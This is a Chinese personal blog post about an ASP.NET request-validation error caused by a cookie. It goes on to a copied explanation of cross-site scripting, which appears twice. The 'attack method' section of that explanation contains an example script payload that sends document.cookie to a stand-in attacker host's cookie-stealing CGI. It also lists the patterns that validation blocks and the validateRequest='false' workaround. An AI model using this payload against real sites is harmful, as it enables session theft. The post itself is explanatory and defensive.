思维的乐趣

Enjoy it
  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

今天我打开以前的一个PROJECT来,然后在浏览器中看页面显示情况的时候-----打不开了!!!!

浏览器报错:

 

Exception Details: System.Web.HttpRequestValidationException: A potentially dangerous Request.
Cookies value was detected from the client (RMOVStore_Name="Rui Ven&#226").

报错的代码行是:HttpCookie cookie = Request.Cookies["test"];可是我什么都没做呀,这个项目好久没改过了我记得最后一次是可以正常运行的。
恰恰是刚开始生成,使用COOKIE的时候,然后我给COOKIE换了个名字,改成:
HttpCookie cookie = Request.Cookies["test222"]; 还是不行。
然后我上网搜,发现大家都有这个问题,并且只有一个解决贴,转来转去全是那个。。。汗
就是讲:

正如您所知的那样,这是一个设计用来防止用 HTML 表单提交脚本的安全功能。虽然基本的 64 个字符在 cookie 值中没有一个是无效的,
但是有一些组合却不能接受,包括:

<{a-z}

<!

expression(

on{a-z}*=

&#

script{space}*。

如果引发了 HttpRequestValidationException 异常,则解决这一问题的唯一方法就是禁止使用这些 cookie 来请求页面验证。

然而,如果您禁止请求验证,则您自己必须对从用户接收到的任何输入执行验证,这一点非常重要。

在 ASP.NET 1.1 中引入的请求验证功能被设计为抵御跨站点脚本攻击的第一道防线。没有此类验证,您的应用程序就很容易遭受此类攻击。

简单解决方法:(禁用validateRequest)

由于在.net中,Request时出现有HTML或Javascript等字符串时,系统会认为是危险性值。立马报错。

解决方案一: 
在.aspx文件头中加入这句: 
<%@ Page validateRequest="false"  %> 

解决方案二: 
修改web.config文件: 
<configuration> 
  <system.web> 
    <pages validateRequest="false" /> 
  </system.web> 
</configuration> 

因为validateRequest默认值为true。只要设为false即可。


但是我试了加PAGE指令的方法不行,我也没去改web.config我想人家既然默认为true,这又是个验证检查,贸然改成false,好像不太好。于是我用了蛮力,
把COOKIES文件夹下面的所有cookie都直接手动删除了,然后重新打开网站,OK,正常了。

但同时也接触到一个概念叫:cross-site scripting。这倒底系虾米东西捏?WIKI了一下,发现这跟SQL注入其实是差不多的一种恶意攻击网站的方法。
只查到了这些中文资料,粘在这儿以后备查:

错误等级:
严重(High)
风险:
可以偷盗或者操作用户Session和Cookie,这样攻击者可以扮演一个合法的客户进行操作。
技术说明:
Cross-Site Scripting是一种秘密攻击行为,它能使得攻击者获得合法客户的身份和特定的服务器进行交互。攻击者利用这样一个事实:
网站未对用户在页面中输入的JavaScript(通常是作为参数值)进行清洗(消毒)。这样,当在返回信息中包含这段JavaScript代码,
   这段代码就会在客户端的Browser中执行。
    这样可能形成一个指向带有恶意代码的网站链接。这串代码在这个站点环境中就会执行,收集可以获取的这个站点或者正在浏览这个网站的其他窗口的cookie,
攻击者会做进一步处理:攻击者会诱使用户点击这个由攻击者生成的链接。如果用户点了这个链接,将会向包含恶意代码作为参数的网站发起一个请求。
如果这个网站将这串参数值(恶意代码)嵌入在返回中,恶意代码将在客户端的浏览器中执行:

恶意代码可能会做:

1. 将用户的cookie发送给攻击者
2. 将能够通过Dom(URLs, Form field 。。。)取到的信息发送给攻击者
结果是客户的安全性受到了威胁。

一些注释:
1. 虽然攻击者的Web Site也被卷入,但是并没有直接包含进来。攻击者通过采用“jump station”方式将返回客户,
好像是合法的(It is used as a 'jump station' for the malicious script sent by the attacker, to return to the victim's browser, as if it is legitimate.)。
无论如何,由于用户是在使用这个特定的网站,而且是这个网站的直接返回,因此可以认为是这个网站的安全漏洞。

2. 这个怀有恶意的链接由攻击者生成,可以包含在攻击者自己维护的网站中。这个链接攻击者也可以通过发送email的方式发送给受害人。
3. 由于用户输入是作为form的字段值,可以知道这串恶意代码从什么地方来的,
4. 各种浏览器实现的不一样,有时候在这种浏览器上没有问题,但是换一种浏览器就会有问题。

攻击方法:
写一个链接: 参数值为:

<SCRIPT>
document.location= 'http://attackerhost.example/cgi-bin/cookiesteal.cgi?+document.cookie
</SCRIPT>

这样,当服务器返回时,上面这串脚本将自动执行,将本地的Cookie发现指定的URL,用户资料泄露了。


解决方式: 加强对参数的校验: 一定要做,大量的漏洞都是针对参数未作校验引出很多攻击手法(会有如何检查参数的单独说明)

然后在MSDN中还有这样的文章:How to prevent cross-site scripting in ASP.NET(http://msdn.microsoft.com/en-us/library/ff649310.aspx)
讲解得很专业详细!

错误等级:

         严重(High

 

风险:

         可以偷盗或者操作用户SessionCookie,这样攻击者可以扮演一个合法的客户进行操作。

 

技术说明:

         Cross-Site Scripting是一种秘密攻击行为,它能使得攻击者获得合法客户的身份和特定的服务器进行交互。攻击者利用这样一 个事实:网站未对用户在页面中输入的JavaScript(通常是作为参数值)进行清洗(消毒)。这样,当在返回信息中包含这段JavaScript代码,这段代码就会在客户端的Browser中执行。这 样可能形成一个指向带有恶意代码的网站链接。这串代码在这个站点环境中就会执行,收集可以获取的这个站点或者正在浏览这个网站的其他窗口的cookie

         攻击者会做进一步处理:攻击者会诱使用户点击这个由攻击者生成的链接。如果用户点了这个链接,将会向 包含恶意代码作为参数的网站发起一个请求。如果这个网站将这串参数值(恶意代码)嵌入在返回中,恶意代码将在客户端的浏览器中执行:

         恶意代码可能会做:

1.       将用户的cookie发送给攻击者

2.       将能够通过Dom(URLs, Form field 。。。)取到的信息发送给攻击者

结果是客户的安全性受到了威胁。

 

一些注释:

1.       虽然攻击者的Web Site也被卷 入,但是并没有直接包含进来。攻击者通过采用“jump station”方式将返回客户,好像是合法的(It is used as a 'jump station' for the malicious script sent by the attacker, to return to the victim's browser, as if it is legitimate.)。无论如何,由于用户是在使用这个特定的网站, 而且是这个网站的直接返回,因此可以认为是这个网站的安全漏洞。

2.     这个怀有恶意的链接由攻击者生成,可以包 含在攻击者自己维护的网站中。这个链接攻击者也可以通过发送email的方式发送给受 害人。

3.     由于用户输入是作为form的字段值,可以知道这串恶意代码从什么地方来的,

4.       各种浏览器实现的不一样,有时候在这种浏览器上没有问题,但是换一种浏览器就会有问题。

 

攻击方法:

 

         写一个链接:  参数值为:

<SCRIPT>

document.location= 'http://attackerhost.example/cgi-bin/cookiesteal.cgi?+document.cookie

</SCRIPT>

         这样,当服务器返回时,上面这串脚本将自 动执行,将本地的Cookie发现指定的URL,用户资料泄露了。

 

解决方式:

1.       加强对参数的校验:
一定要做,大量的漏洞都是针 对参数未作校验引出很多攻击手法(会有如何检查参数的单独说明)